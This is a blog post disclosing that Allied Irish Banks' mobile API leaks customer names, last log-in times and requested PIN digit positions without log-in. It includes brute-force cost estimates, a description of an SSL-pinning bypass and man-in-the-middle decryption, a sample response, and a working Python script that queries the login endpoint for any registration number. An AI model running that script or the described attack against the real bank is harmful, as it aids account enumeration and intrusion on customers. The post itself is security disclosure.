Several months ago I wrote a few words about lax online security at Allied Irish Banks. Subsequently things got worse. Security is hard and even banks will make mistakes but I would prefer if AIB had more of an appetite to do better than appears to be the case.
In August, or thereabouts, the bank released a new version of its mobile app which makes use of a new interface for communicating with its servers, i.e., a new API. Unfortunately this API leaks personal information in a way that its predecessor did not. Specifically, given an 8-digit registration number, it is easy to carry out each of the following without attempting to log-in:
A great many accounts at AIB are already far less secure than they should be because the first six digits of their 8-digit registration number are the account holder's birthdate. This means that they are soft targets for brute-force attacks and (a) above makes such an attack substantially easier to execute. In addition, (b) and (c) create enormous possibilities for somebody interested in attempting a social engineering-based attack.
The possible tools which the bank's intrusion detection system could (and hopefully does) employ are essentially:
By executing a brute-force algorithm along the lines outlined here and using a script like this to test whether registration numbers are valid, if we conservatively assume there are just 200,000 accounts with birthday-style registration numbers (spread evenly over people aged 18 – 60, with uniformly-random final two digits) then the minimum number of IP addresses one needs to control in order to have better-than-even chance of gaining access to an account is: $$ \frac{1}{y}\frac{(60-18) \times 365 \times 100}{200,000}\cdot 231 + \frac{1}{x}231 \doteq 470 $$ (The number 231 arises since there is a 3 in 1,000 chance of guessing the requested digits of the Personal Access Code and \( \log(1/2)/\log(1-3/1000) \doteq 231 \) independent Bernoulli trials with this success probability have better-than-even chance of at least one success.)
In other words, the median number of IP addresses required is 470. For completeness, the mean is: $$ \frac{1}{y}\frac{(60-18) \times 365 \times 100}{200,000}\frac{1000}{3} + \frac{1}{x}\frac{1000}{3} \doteq 678 $$
In other words, with control of just 470 IP addresses, a person of malicious intent has a better-than-even chance of breaching an account, even assuming extremely conservative intrusion detection parameters on the part of the bank and with a conservative estimate of the numer of bithday-style registration numbers. An hour's use of 1,000 IP addresses apparently costs about only $25 and along the way, the names and last log-in times of hundreds of accounts will be obtained.AIB say they are secure but I think this is just not good enough.
They're now using SSL Pinning so that it is only possible to view their traffic by running the app on a device with an SSL kill switch enabled. With that done, by routing traffic through something like Charles Proxy one can see the content of the HTTP requests.
However after a couple of requests that become plaintext after SSL decryption, and which constitute a Diffie-Hellman handshake, all subsequent requests are AES-encrypted, initially using a 1024-bit key derived from the secret generated in the handshake, and subsequently using keys derived from a new secret supplied in each (doubly-encrypted) response. Although it took a few hours to unravel this logic, the exercise was essentially straightforward.
You can see an example of the bank's Diffie-Hellman handshake by clicking the button below and you'll get a free 1024-bit prime for your trouble:
By decompiling the Android app, it's fairly easy to see what's going on but by far the most useful possibility is to be able to watch a plaintext version of the conversation that takes place between the bank's mobile app and the server. In order to realise this I threw together an (extremely ugly) Java webserver and set it up to act as a man in the middle between an instance of the app and the bank's servers. My man in the middle decrypted and logged all traffic before re-encrypting and forwarding it on. With this data in hand, it was easy to do whatever I wanted.
{
"data": {
"name": "MR RONALD EUSTACE PSMITH",
"lastLogin": "Saturday, 12/09/2015, 12:34:56",
"customerStatus": "P",
"pacPosition1": 1,
"pacPosition2": 2,
"pacPosition3": 3,
"quickBalanceRegistered": false,
"deviceRegistered": false,
"features": [
{
"accessLevel": "default",
"available": true,
"name": "PAYEE_AMEND_BILL"
},
{
"accessLevel": "default",
"available": true,
"name": "PAYEE_DELETE_BILL"
},
{
"accessLevel": "default",
"available": true,
"name": "ANALYTICS"
},
{
"accessLevel": "default",
"available": true,
"name": "NO_DATA_IN_ANALYTICS_TAGS"
},
{
"accessLevel": "default",
"available": false,
"name": "QUICKBAL_LOAD_ON_BUTTON_PRESS"
},
{
"accessLevel": "default",
"available": true,
"name": "QUICK_BALANCE_REMINDER"
},
{
"accessLevel": "default",
"available": true,
"name": "LOAN_PURPOSE_ICONS"
},
{
"accessLevel": "default",
"available": true,
"name": "QUICK_BALANCE_TUTORIAL"
},
{
"accessLevel": "elevated",
"available": true,
"name": "PAYEE_ADD_ACCOUNT"
},
{
"accessLevel": "default",
"available": true,
"name": "PAYEE_ADD"
},
{
"accessLevel": "default",
"available": true,
"name": "PAYEE_DELETE_ACCOUNT"
},
{
"accessLevel": "elevated",
"available": true,
"name": "PAYEE_AMEND_ACCOUNT"
},
{
"accessLevel": "elevated",
"available": true,
"name": "PAYEE_AMEND_CREDIT_CARD"
},
{
"accessLevel": "elevated",
"available": true,
"name": "PAYEE_ADD_CREDIT_CARD"
},
{
"accessLevel": "default",
"available": true,
"name": "PAYEE_ADD_BILL"
},
{
"accessLevel": "default",
"available": true,
"name": "PAYEE_AMEND"
},
{
"accessLevel": "default",
"available": true,
"name": "PERLEND_LOAN"
},
{
"accessLevel": "default",
"available": true,
"name": "Online_Overdraft"
},
{
"accessLevel": "default",
"available": true,
"name": "PERLEND_TOPUP"
},
{
"accessLevel": "default",
"available": true,
"name": "ONLINE_LOANS"
},
{
"accessLevel": "elevated",
"available": true,
"name": "FUNDS_TRANSFER_ROI_ONE-OFF"
},
{
"accessLevel": "default",
"available": true,
"name": "FUNDS_TRANSFER_ROI_PROFILE"
},
{
"accessLevel": "default",
"available": true,
"name": "FUNDS_TRANSFER_OWN_ACCOUNTS"
},
{
"accessLevel": "default",
"available": true,
"name": "DIRECT_DEBITS_VIEW"
},
{
"accessLevel": "default",
"available": true,
"name": "DIRECT_DEBITS_DETAILS"
},
{
"accessLevel": "default",
"available": true,
"name": "DIRECT_DEBITS_CANCEL"
},
{
"accessLevel": "default",
"available": true,
"name": "DIRECT_DEBITS_TRANSACTIONS"
},
{
"accessLevel": "default",
"available": true,
"name": "VISA_DEBIT_CARD_LOST_STOLEN"
},
{
"accessLevel": "default",
"available": true,
"name": "CREDIT_CARD_LOST_STOLEN"
},
{
"accessLevel": "elevated",
"available": true,
"name": "BILL_PAY_CREDIT_CARD"
},
{
"accessLevel": "default",
"available": true,
"name": "BILL_PAY"
}
],
},
"statusCode": "0",
"statusMessage": "Success",
"transactionKey": "e713eec72bb4913892a6aabd41afb864"
}
import requests, json, hashlib, urllib, binascii, base64, uuid, Crypto.Random, Crypto.Cipher.AES as AES
base_url = 'https://onlinebankingservices.aib.ie/inet/roi/api/'
deviceId = str(uuid.uuid4())
regNumber = raw_input('Please enter your 8-digit registration number: ')
def DHParametersFromGenerateResponseBody(body):
data = json.loads(body)['data']
p, g, by = map(int, (data['p'], data['g'], data['y']))
ax = 2 # Our chosen Diffie-Hellman "secret" key.
return (p, g, by, ax, g**ax % p)
def derivedKeyFromDHKeys(ax, by, p):
hexEncodedDHSecret = format(by**ax % p, 'x')
passPhrase = binascii.hexlify(hashlib.md5(deviceId + hexEncodedDHSecret + deviceId).digest())
cipherSalt = passPhrase[:16]
return hashlib.pbkdf2_hmac('sha1', passPhrase, cipherSalt, 1000, 16)
def PKCS7Pad(s, block_size = 16):
n = block_size - len(s) % block_size
return s + n * chr(n)
def PKCS7Unpad(s):
return s[:-ord(s[-1])]
def encryptRequestBody(derivedKey, body):
iv = Crypto.Random.new().read(AES.block_size)
cipher = AES.new(derivedKey, AES.MODE_CBC, iv)
encryptedBody = cipher.encrypt(PKCS7Pad(body))
return [('param1', deviceId),
('param2', base64.b64encode(encryptedBody)),
('param3', base64.b64encode(iv))]
def decryptResponseBody(derivedKey, body):
body_dict = json.loads(body)
iv = base64.b64decode(body_dict['data2'])
cipher = AES.new(derivedKey, AES.MODE_CBC, iv)
decryptedBody = PKCS7Unpad(cipher.decrypt(base64.b64decode(body_dict['data1'])))
return json.loads(decryptedBody)
r = requests.post(base_url + 'handshake/generate.htm', data=[('deviceId', deviceId), ('mode', 'y')])
p, g, by, ax, ay = DHParametersFromGenerateResponseBody(r.content)
derivedKey = derivedKeyFromDHKeys(ax, by, p)
requests.post(base_url + 'handshake/verify.htm', data=[('deviceId', deviceId), ('y', ay)])
r = requests.post(base_url + 'user/login.htm', data=encryptRequestBody(derivedKey, urllib.urlencode([('deviceId', deviceId), ('regNumber', regNumber)])))
response_dict = decryptResponseBody(derivedKey, r.content)
print response_dict